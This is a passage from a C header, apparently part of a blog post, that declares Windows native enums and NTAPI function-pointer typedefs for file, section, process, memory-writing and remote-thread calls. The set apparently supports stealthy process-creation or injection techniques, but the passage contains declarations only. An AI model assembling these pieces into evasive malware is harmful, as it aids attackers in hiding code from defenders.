	FileDispositionInformation,     // 13
	FilePositionInformation,        // 14 wdm
	FileFullEaInformation,          // 15
	FileModeInformation,            // 16
	FileAlignmentInformation,       // 17
	FileAllInformation,             // 18
	FileAllocationInformation,      // 19
	FileEndOfFileInformation,       // 20 wdm
	FileAlternateNameInformation,   // 21
	FileStreamInformation,          // 22
	FilePipeInformation,            // 23
	FilePipeLocalInformation,       // 24
	FilePipeRemoteInformation,      // 25
	FileMailslotQueryInformation,   // 26
	FileMailslotSetInformation,     // 27
	FileCompressionInformation,     // 28
	FileObjectIdInformation,        // 29
	FileCompletionInformation,      // 30
	FileMoveClusterInformation,     // 31
	FileQuotaInformation,           // 32
	FileReparsePointInformation,    // 33
	FileNetworkOpenInformation,     // 34
	FileAttributeTagInformation,    // 35
	FileTrackingInformation,        // 36
	FileIdBothDirectoryInformation, // 37
	FileIdFullDirectoryInformation, // 38
	FileValidDataLengthInformation, // 39
	FileShortNameInformation,       // 40
	FileIoCompletionNotificationInformation, // 41
	FileIoStatusBlockRangeInformation,       // 42
	FileIoPriorityHintInformation,           // 43
	FileSfioReserveInformation,              // 44
	FileSfioVolumeInformation,               // 45
	FileHardLinkInformation,                 // 46
	FileProcessIdsUsingFileInformation,      // 47
	FileMaximumInformation                   // 48
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;

typedef enum _PROCESSINFOCLASS {
	ProcessBasicInformation,
	ProcessQuotaLimits,
	ProcessIoCounters,
	ProcessVmCounters,
	ProcessTimes,
	ProcessBasePriority,
	ProcessRaisePriority,
	ProcessDebugPort,
	ProcessExceptionPort,
	ProcessAccessToken,
	ProcessLdtInformation,
	ProcessLdtSize,
	ProcessDefaultHardErrorMode,
	ProcessIoPortHandlers,          // Note: this is kernel mode only
	ProcessPooledUsageAndLimits,
	ProcessWorkingSetWatch,
	ProcessUserModeIOPL,
	ProcessEnableAlignmentFaultFixup,
	ProcessPriorityClass,
	ProcessWx86Information,
	ProcessHandleCount,
	ProcessAffinityMask,
	ProcessPriorityBoost,
	ProcessDeviceMap,
	ProcessSessionInformation,
	ProcessForegroundInformation,
	ProcessWow64Information,
	ProcessImageFileName,
	ProcessLUIDDeviceMapsEnabled,
	ProcessBreakOnTermination,
	ProcessDebugObjectHandle,
	ProcessDebugFlags,
	ProcessHandleTracing,
	MaxProcessInfoClass                             // MaxProcessInfoClass should always be the last enum
} PROCESSINFOCLASS;



//***********************************************************************************************************************************************************************************************
//*********************************************                                                                                 *****************************************************************
//*********************************************                                                                                 *****************************************************************
//***********************************************************************************************************************************************************************************************


typedef NTSTATUS(NTAPI* fnNtOpenFile)(
	PHANDLE            FileHandle,
	ACCESS_MASK        DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PIO_STATUS_BLOCK   IoStatusBlock,
	ULONG              ShareAccess,
	ULONG              OpenOptions
	);


typedef NTSTATUS(NTAPI* fnNtWriteFile)(
	HANDLE           FileHandle,
	HANDLE           Event,
	PIO_APC_ROUTINE  ApcRoutine,
	PVOID            ApcContext,
	PIO_STATUS_BLOCK IoStatusBlock,
	PVOID            Buffer,
	ULONG            Length,
	PLARGE_INTEGER   ByteOffset,
	PULONG           Key
	);


typedef NTSTATUS(NTAPI* fnNtSetInformationFile)(
	HANDLE                 FileHandle,
	PIO_STATUS_BLOCK       IoStatusBlock,
	PVOID                  FileInformation,
	ULONG                  Length,
	FILE_INFORMATION_CLASS FileInformationClass
	);

typedef NTSTATUS(NTAPI* fnNtCreateSection)(
	PHANDLE					SectionHandle,
	ACCESS_MASK				DesiredAccess,
	POBJECT_ATTRIBUTES		ObjectAttributes,
	PLARGE_INTEGER			MaximumSize,
	ULONG					SectionPageProtection,
	ULONG					AllocationAttributes,
	HANDLE					FileHandle
	);

typedef NTSTATUS(NTAPI* fnNtReadVirtualMemory)(
	HANDLE          ProcessHandle,
	PVOID           BaseAddress,
	PVOID           Buffer,
	ULONG           NumberOfBytesToRead,
	PULONG          NumberOfBytesRead
	);


typedef NTSTATUS(NTAPI* fnRtlCreateProcessParametersEx)(
	PRTL_USER_PROCESS_PARAMETERS* pProcessParameters,
	PUNICODE_STRING                 ImagePathName,
	PUNICODE_STRING                 DllPath,
	PUNICODE_STRING                 CurrentDirectory,
	PUNICODE_STRING                 CommandLine,
	PVOID                           Environment,
	PUNICODE_STRING                 WindowTitle,                // set to NULL
	PUNICODE_STRING                 DesktopInfo,                // set to NULL
	PUNICODE_STRING                 ShellInfo,                  // set to NULL
	PUNICODE_STRING                 RuntimeData,                // set to NULL
	ULONG                           Flags
	);


typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(
	HANDLE		ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR	ZeroBits,
	PSIZE_T		RegionSize,
	ULONG		AllocationType,
	ULONG		Protect
	);


typedef NTSTATUS(NTAPI* fnNtWriteVirtualMemory)(
	HANDLE        ProcessHandle,
	PVOID         BaseAddress,
	PVOID         Buffer,
	SIZE_T        NumberOfBytesToWrite,
	PSIZE_T		  NumberOfBytesWritten
	);

typedef NTSTATUS(NTAPI* fnNtCreateProcessEx)(
	PHANDLE				ProcessHandle,
	ACCESS_MASK			DesiredAccess,
	POBJECT_ATTRIBUTES	ObjectAttributes,
	HANDLE				ParentProcess,
	ULONG				Flags,
	HANDLE				SectionHandle,
	HANDLE				DebugPort,
	HANDLE				ExceptionPort,
	BOOLEAN				InJob
	);

typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)(
	HANDLE           ProcessHandle,
	PROCESSINFOCLASS ProcessInformationClass,
	PVOID            ProcessInformation,
	ULONG            ProcessInformationLength,
	PULONG           ReturnLength
	);

typedef NTSTATUS(NTAPI* fnNtCreateThreadEx)(
	PHANDLE                 ThreadHandle,
	ACCESS_MASK             DesiredAccess,
	POBJECT_ATTRIBUTES      ObjectAttributes,
	HANDLE                  ProcessHandle,
	PVOID                   StartRoutine,
	PVOID                   Argument,
	ULONG                   CreateFlags,
	SIZE_T                  ZeroBits,
	SIZE_T                  StackSize,
	SIZE_T                  MaximumStackSize,
	PPS_ATTRIBUTE_LIST      AttributeList
	);


#endif // !STRUCTS_H#pragma once

This post is licensed under CC BY 4.0 by the author.